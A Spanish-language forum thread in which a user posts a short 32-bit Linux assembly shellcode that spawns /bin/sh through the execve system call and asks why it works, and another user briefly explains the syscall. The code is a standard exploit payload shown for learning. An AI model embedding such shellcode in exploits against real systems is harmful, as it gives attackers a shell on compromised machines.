Esta shellcode funcioan realmente? :P

Iniciado por Died, 8 Julio 2011, 18:26 PM

0 Miembros y 1 Visitante están viendo este tema.

Died

Al hacer mi tipica shellcode de 25 bytes se me olvido una orden y aparte de ahorrarme un byte consegui que arrancase... :P
La subo para ver si realmente funciona como shellcode :D porque es una cosa rarisima.
Alguien me puede explicar como funciona? :D

Código (asm) [Seleccionar]

BITS 32

xor eax, eax
push eax
push "//sh"
push "/bin"
mov ebx, esp
push eax
mov edx, esp
mov ecx, esp
mov al, 11
int 0x80

_Enko

tan solo es parte de una rutina que llama a un system call de linux, el  sys_execve.


Died

Eso lo sé perfectamente :D Lo que no sé es por qué arranca el /bin/bash, vamos, que por qué arranca algo...